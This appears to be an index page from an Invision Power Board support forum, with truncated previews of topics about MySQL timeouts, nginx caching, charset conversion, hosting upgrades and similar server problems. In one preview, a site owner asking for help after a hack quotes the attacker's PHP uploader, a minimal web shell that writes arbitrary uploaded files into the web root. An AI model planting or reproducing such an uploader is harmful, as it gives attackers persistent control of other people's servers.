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Problems related to your server or other classic, self-hosted edition issues.
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Hello, Although we have a decent dedicated server Intel Xeon X3330 @ 2.66 GHz, 4GB of RAM, 2 sata hdd(one for the webserver and for the sql server) and it's moving really slowly. In the sql error log(acp -> stats & logs -> sql error logs) many "MySQL server has gone away appear" and "Connection refused" messages. I opened a ticket on invisionpower.com and they said that my sql server is really slow, timing out and refusing connections. We use nginx and percona mysql server. Here are the configs my.cnf nginx.conf The board has 40k members, 2.6kk posts and about 1000-1500 users activ…
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Hi, Following this topic about varnish I decided to try an alternative. Since i was running nginx this was easy step. A quick note ... this is a learning by progress idea and you must evaluate all the benefits of using it. I have this working in my board with a page load time decrease of + 60% tested with Gomez Web Site Performance Test for guests, since this only cache content for unregistered members. You only need nginx + fastcgi / proxy* + ssi (* I didn't test with proxy_cache but it may work) Somewhere in you http block configuration add: ### Map Mobile map $http_user_agent $is_mobile { default 0; ~*android|ip(hone|od)|windowss+(?:ce|phone) 1; …
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I installed ip.board on my own server which meets all the requirements. I am trying to convert my phpbb 3.0 database and I messed something up. Let me explain what I did and maybe someone can help. 1. I downloaded the conversion script and moved the files in the upload folder to my server. 2. AdminCP I installed the converter Application; which was under, Manage Applications & modules "Applications Not Installed". Note: During installation the my browser was flickering, and I seen a link during the installation.. that said something like this.. click here if the webpage does not redirect. I waited a few minutes didn't see anything new so I click the l…
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My Site Being Hacked Nothing To Do With IPB - Just need recommendation Please Somehow, hacker is uploading a upload file either calls it sources.php or up.php or something else Anyway, the content of the file is this <?php echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!!</b><br><br>'; } else { echo '<b>Upload GAGAL…
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New server has 2 drives, one SSD, one HDD, no RAID. In the past, with a similar configuration but two HDD, we put everything on one drive, and used the other drive as a backup. My question -- is there any value in splitting content between the two drives? Currently, the OS is on the SSD, and I plan to put the DB on there as well. Would any benefit be expected from putting all our static content on the HDD, so that not everything is coming from one drive, or is the effect from that likely to be minimal?
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i have a cloud hosted IPS board. I want to import my members from a vbulletin 4.1.0 board how do i do this?
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Here is the story. My website is small to medium sized - about 10k pageviews per day, 1800 uniques, up to 100 users online in peaktime including bots. Currently I am on a shared hosting, but I am moving to VPS soon, which is 1GB Ram+1GB vSwap and 2 CPU cores. I am setuping this VPS with Webmin/Virtualmin as panel, because I am not expirienced enough to administer it on my own. Now, this panel supports 3 types of PHP execution: mod_php - which I read is old, memory hog, unsafe, and generally not recommended cgi - safer, but still inefficient fcgid - recommended out of the three. Here comes the caching problem. Apparently both APC and Xcache does not support op…
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Hi everybody, i am searching for some procedure which i can run to convert the DB encoding from UTF8 to UTF8MB4. I am having some encoding issues which i need to solve, and i have figured out that MySQL only supports full Unicode through the UTF8MB4 encoding. I have seen this: http://mathiasbynens.be/notes/mysql-utf8mb4 Nevertheless, it would be a lot of time to individually change every table and running these instructions for each individual table. How can automate this for every table? Thank you in advance!
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Getting heaps errors from Google Crawler, how to prevent them ? For example :
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Hi everyone, We have some issues with IPB over VERY large topics. On our board, users have created some topics with more than 40k messages (2000 pages). Problem is : these topics are unable to be consulted. Actually, the first pages are easy to access, but if you try to access the latest pages, loading-time takes dozens of seconds and causes high CPU on database server. Here is one of the queries catched during the "long" load : SELECT p.*,m.member_id as mid,m.name,m.member_group_id,m.email,m.joined,m.posts, m.last_visit, m.last_activity,m.login_anonymous,m.title as member_title, m.warn_level, m.warn_lastwarn, m.members_display_name, m.members_seo_name, m.…
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Hi Guys - short question, how to check if gzip is working?
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My board is in non english language. Right now I am on a shared hosting and the database settings and collations there are complete mess. =================================================== I have this setting in my ACP: Document Character Set: UTF-8 Character conversion method: internal This is the result from show variables in mysql: character_set_client cp1251 character_set_connection cp1251 character_set_database cp1251 character_set_filesystem binary character_set_results cp1251 character_set_server cp1251 character_set_system utf8 character_sets_dir /usr/share/mysql/charsets/ collation_connection cp1251_general_ci collation_database cp1251_b…
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I want to upgrade from a shared host to a VPS. And i would like to hear your suggestions and specs on what would be enough for a small-medium community.
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While attempting to edit CSS in the default skin, I get this error and edits will not save. Can anyone help? I cannot edit anything in the skin editor. Exception: SyntaxError: JSON.parse: unexpected character Failure: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>500 Internal Server Error</title> </head><body> <h1>Internal Server Error</h1> <p>The server encountered an internal error or misconfiguration and was unable to complete your request.</p> <p>Please contact the server administrator, webmaster@xxxx and inform them of the time the error occurred, and a…
Last reply by Aiwa, -
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Hello everyone, we want to run IPBoard on a load-balanced multi server environment. We're having four web servers, each of them with an indentical installation of the IPBoard software. Uploads are shared between servers via NFS. Now my question is: What about the cache directory? It seems like IPBoard is creating files for templates, language packs and some more in that directory. I'm worried that e.g. when we update a template in the ACP it will be only updated on a single server (the server I'm currently on) and the other 3 will keep an outdated cache file forever. What's the best practice to deal with the cache directory in a multi server environment? Addit…
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Doing a fresh install on a Debian squeeze with MySQL 5.5.31-30.3 Percona Server. Charset for database "test-ipb" is UTF-8. Is doesn't change anything if I'm using MyISAM oder InnoDB tables; I always get a "Specified key was too long;" error. Changed some tables definition to this: $TABLE[] = "CREATE TABLE backup_vars ( backup_var_key VARCHAR(255) NOT NULL DEFAULT '', backup_var_value TEXT, PRIMARY KEY (backup_var_key(160)) );"; but this is very time-consuming and after 6 tables I stopped because it's tiresome and I don't know how many tables I have to modifiy :-( I only found a old topic from 2009 regarding this issue. How can I manage to get…
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I have gone from owning a big board on a dedicated server to having no board and wanting to start a new project. Is a shared host, on average, sufficient for a new board with very little activity? Wondering if the software is overpowering most shared hosting, even on low user sites.
Last reply by SidV, -
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Hello, Talking with my hosting support, they told me to look into the invision power upload folder that have 116572 files (boardurl.com/upload). That this could be a great I/O killer, decreasing server performance. He suggested to me that I should create a date based structure with no more than 100 files per folder. But this is manually impossible :no: What do you guys think about this ? My hosting is overreacting or this is, indeed, a bad idea and IPB should do a structure more like wordpress (date based) or there's some configuration that I didn't see ? (Just for the sake of information, my board have 150.000 users with a lot of attached images, avatars,…
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Google PageSpeed insights suggests the following for my site: Does someone know how to implement this suggestion?
Last reply by Grumpy, -
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Trying to secure the Admin area I enabled SSL in ACP..and of course I managed to lock myself out.. I looked in Confing file but do not see the define for ssl.. I went to my server and disabled SSL temporarily and still get the SSL connection error.. where oh where can I disable it? THANKS !
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Wanting to compare something I just noticed... As I only have CRON set up on one of my communities currently... Does your cron task create a session every time it's run? It seems to think it's an IP.Content page and is creating a session, but I haven't a clue why the location_3_type is trying to make the path a URL... You'll note the running time's are exactly 60 seconds apart. * * * * * /var/www/html/tacsite/interface/task.php all {some key}
Last reply by rct2·com, -
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Hello, after 3 years we are moving to the new machine. the server is bigger and better so the performance should be better. Today we are using nginx with php-fpm and memcached. What would You recommend today as an solution for whole service? nginx with php-fpm? memcached? percona-xtra db? some addons like google pagespeed module for nginx? some cachers? I'm rather not interested in CDNs becase 90-95% visits are from one country so we have to focus on our localization only. Do you have some working practices with optimisations of server? server would have 32cores and 48g of ram Any hints?
Last reply by yacenty, -
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I have used IPB as a deadicated football/soccer forum since 2006. cornwallfootballforum.com I'm currently using HostGator Shared Linux Server package due to cost restraints (unlimited disk space and bandwidth), as a non profit site moving to a deadicated server with is not a option. Over the past couple of weeks at a peak time of Saturday 1800-2000 GMT (London) when members log on to my site after football matches on Saturday evenings, my server overloads due to the ammount of users trying to access the site. Hostgator then shuts me down for 3 hours until CPU useage has gone down which is destroying my reputation. I have the most upto date IPB Board, use…
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To be enabled or not to be? What is the impact for ipb? Xcache 3.1
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I'm not sure if this was posted already, but I was having an issue with editing posts - primarily the OP of a thread. Basically, sometimes when I clicked to edit a post the BBcode would be absent and all the content in the post would turn into HTML. Other times, after editing a post, the post would save and display all HTML. This started happening when I started using Cloudflare. Now, this didn't happen all the time. I resorted to copying all the info in the post and pasting it into a blank file until I saved the modified post. Anyway, I was trying to figure out what was causing the issue. Not that I found a solution which I could say, "this is the solution to t…
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